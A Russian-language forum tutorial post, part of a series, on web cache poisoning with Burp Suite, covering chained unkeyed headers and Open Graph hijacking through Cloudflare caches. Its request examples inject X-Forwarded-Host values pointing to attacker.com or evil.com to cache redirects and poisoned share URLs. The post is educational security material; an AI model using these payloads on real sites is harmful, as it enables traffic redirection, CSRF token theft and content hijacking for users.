Що нового?

Article [10.0.3] Burp Suite. Web cache poisoning. Practical

Vander 0

Vander

Команда форуму
10 Лис 2019
498
1,162
Приветствую уважаемых участников и гостей форума Protey!

1587897080127.png

Продолжаем рассматривать атаки типа cache poisoning на практике, предыдущие статьи цикла можно найти тут:
Chaining Unkeyed Inputs

Иногда неключевой ввод может привести к путанице только в части стека приложения, и вам потребуется объединить в цепочку другие вводы без ключа, чтобы получить пригодный для использования результат. Возьмите следующий сайт:

Код:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz

HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz
Заголовок X-Forwarded-Host переопределяет домен в файле cookie, но ни один из URL-адресов, созданных в оставшейся части ответа. Само по себе это бесполезно. Тем не менее, есть еще один неключевой ввод:

Код:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en
Эти входные данные также бесполезны сами по себе, но если мы объединяем их вместе, мы можем преобразовать ответ в перенаправление в произвольную область:

Код:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en
Используя эту технику, можно было украсть токены CSRF из пользовательского заголовка HTTP, перенаправив запрос POST. Так же можно получить хранимый XSS на основе DOM со злонамеренным ответом на загрузку JSON, аналогично уязвимости data.gov, упомянутой ранее.

Open Graph Hijacking

На другом сайте неключевой ввод затрагивал исключительно URL-адреса Open Graph:

Код:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate
…
<meta property="og:url" content='https://attacker.com/en'/>
Open Graph - это протокол, созданный Facebook, который позволяет владельцам сайтов определять, что происходит, когда их контент публикуется в социальных сетях. Параметр og: url, который мы здесь перехватили, эффективно переопределяет URL-адрес, который становится общим, поэтому любой, кто поделится зараженной страницей, на самом деле, делится контентом по нашему выбору.

Как вы могли заметить, приложение устанавливает «Cache-Control: private», и Cloudflare отказывается кэшировать такие ответы. К счастью, другие страницы сайта явно включают кэширование:

Код:
GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…
CF-Cache-Status: MISS
Заголовок 'CF-Cache-Status' здесь является индикатором того, что Cloudflare рассматривает возможность кэширования этого ответа, но, несмотря на это, ответ никогда не кэшировался. Предположим, что отказ Cloudflare кешировать может быть связано с cookie-файлом session_id, и повторим попытку с этим cookie:

Код:
GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT
…
<meta property="og:url"
content='https://attacker.com/…
Это, наконец, привело к кэшированию ответа, хотя позже выяснилось, что можно было пропустить догадки и вместо этого прочитать Cloudflare's cache documentation.

Несмотря на то, что ответ был кеширован, результат «Share» все еще оставался не отравленным; Очевидно, что Facebook не попал в тот кеш Cloudflare, который был отравлен. Чтобы определить, какой кэш нужно отравить, воспользовальзуемся полезной функцией отладки, присутствующей на всех сайтах Cloudflare - /cdn-cgi/trace:

6846e4bc6c75-article-cloudfacebooktrace2.jpg.png

Здесь строка colo = AMS показывает, что Facebook получил доступ к waf.party через кэш в Амстердаме. К целевому веб-сайту обращались через Атланту, поэтому исследователь арендует там VPS за 2 доллара в месяц и снова пытается произвести атаку:

483a36392ba0-article-atlanta.png

После этого любой, кто попытался поделиться различными страницами на своем сайте, в конечном итоге поделится контентом по выбору атакующего. Вот сильно отредактированное видео атаки:

















To be continued...
 
Угорі Унизу